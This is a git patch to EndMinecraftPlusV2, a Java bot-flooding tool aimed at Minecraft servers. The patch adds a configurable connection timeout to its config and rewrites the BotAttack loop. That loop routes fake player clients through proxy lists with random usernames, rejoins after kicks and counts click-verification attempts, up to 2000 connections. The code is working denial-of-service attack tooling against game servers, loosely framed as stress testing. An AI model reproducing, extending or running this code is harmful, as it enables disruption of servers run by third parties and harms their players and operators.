From bea12d2a69b0be416848ac49a2aa8c064df424e1 Mon Sep 17 00:00:00 2001 From: SerendipityR <48401197+SerendipityR-2022@users.noreply.github.com> Date: Tue, 23 Aug 2022 23:50:42 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96=E5=BC=82=E6=AD=A5=E6=96=B9?= =?UTF-8?q?=E6=B3=95=20=E5=8A=A0=E5=85=A5=E8=BF=9E=E6=8E=A5=E8=B6=85?= =?UTF-8?q?=E6=97=B6=E6=97=B6=E9=97=B4=E9=85=8D=E7=BD=AE=E9=A1=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../EndMinecraftPlusV2.java | 2 +- .../EndMinecraftPlusV2/Tools/ConfigUtil.java | 2 + .../OldVersion/AttackUtils/BotAttack.java | 64 +++++++++++-------- src/config.yml | 3 +- 4 files changed, 41 insertions(+), 30 deletions(-) diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java index 57d1cf4..d945a62 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java @@ -9,7 +9,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; public class EndMinecraftPlusV2 { public static String ver = "1.2.6"; - public static Integer CfgVer = 1; + public static Integer CfgVer = 2; public static void main(String[] args) { System.out.println("========================-Forked by SerendipityR-========================"); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java index bc00ef6..5037d86 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java @@ -22,6 +22,7 @@ public class ConfigUtil { public static Integer AttackMethod; public static Integer AttackTime; public static Long ConnectDelay; + public static Long ConnectTimeout; public static Integer MaxConnections; public static Boolean TabAttack; public static Boolean AntiAttackMode; @@ -67,6 +68,7 @@ public class ConfigUtil { AttackMethod = config.getInt("AttackSettings.Method"); AttackTime = config.getInt("AttackSettings.Time"); ConnectDelay = config.getLong("AttackSettings.ConnectDelay"); + ConnectTimeout = config.getLong("AttackSettings.ConnectTimeout"); MaxConnections = config.getInt("AttackSettings.MaxConnections"); TabAttack = config.getBoolean("AttackSettings.TabAttack"); AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode"); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java index 5395102..e782951 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java @@ -129,7 +129,7 @@ public class BotAttack extends IAttack { return; } - OtherUtils.doSleep(5 * 1000); + OtherUtils.doSleep(ConfigUtil.ConnectTimeout); LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); cleanClients(); } catch (Exception e) { @@ -201,35 +201,43 @@ public class BotAttack extends IAttack { break; } - for (String p: ProxyUtil.proxies) { - try { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + boolean run = true; - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(5 * 1000); - client.getSession().setWriteTimeout(5 * 1000); - clientName.put(client, User[0]); - clients.add(client); - ProxyUtil.clientsProxy.put(client.getSession(), proxy); + while (run) { + for (String p: ProxyUtil.proxies) { + try { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - if (this.attack_motdbefore) { - pool.submit(() -> { - getMotd(proxy, ip, port); + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client.getSession(), proxy); + + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.getSession().connect(false); + }); + } else { client.getSession().connect(false); - }); - } else { - client.getSession().connect(false); - } + } - if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) - return; - if (this.attack_joinsleep > 0) - OtherUtils.doSleep(attack_joinsleep); - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); + if (this.attack_joinsleep > 0) { + OtherUtils.doSleep(attack_joinsleep); + } + + if (clients.size() > this.attack_maxconnect) { + run = false; + break; + } + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } } } } @@ -282,8 +290,8 @@ public class BotAttack extends IAttack { OtherUtils.doSleep(ConfigUtil.RejoinDelay); Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); - rejoinClient.getSession().setReadTimeout(5000); - rejoinClient.getSession().setWriteTimeout(5000); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); rejoin++; LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); diff --git a/src/config.yml b/src/config.yml index 6cac5a5..ef174fc 100644 --- a/src/config.yml +++ b/src/config.yml @@ -3,7 +3,7 @@ # Forked by SerendipityR # ############################## -CfgVer: 1 +CfgVer: 2 AttackSettings: Address: "example.com" @@ -16,6 +16,7 @@ AttackSettings: Method: 1 Time: 3600 ConnectDelay: 250 + ConnectTimeout: 8000 # 实际连接数由代理质量和机器性能有关 # 进行无代理Motd压测时不建议大于32 MaxConnections: 2000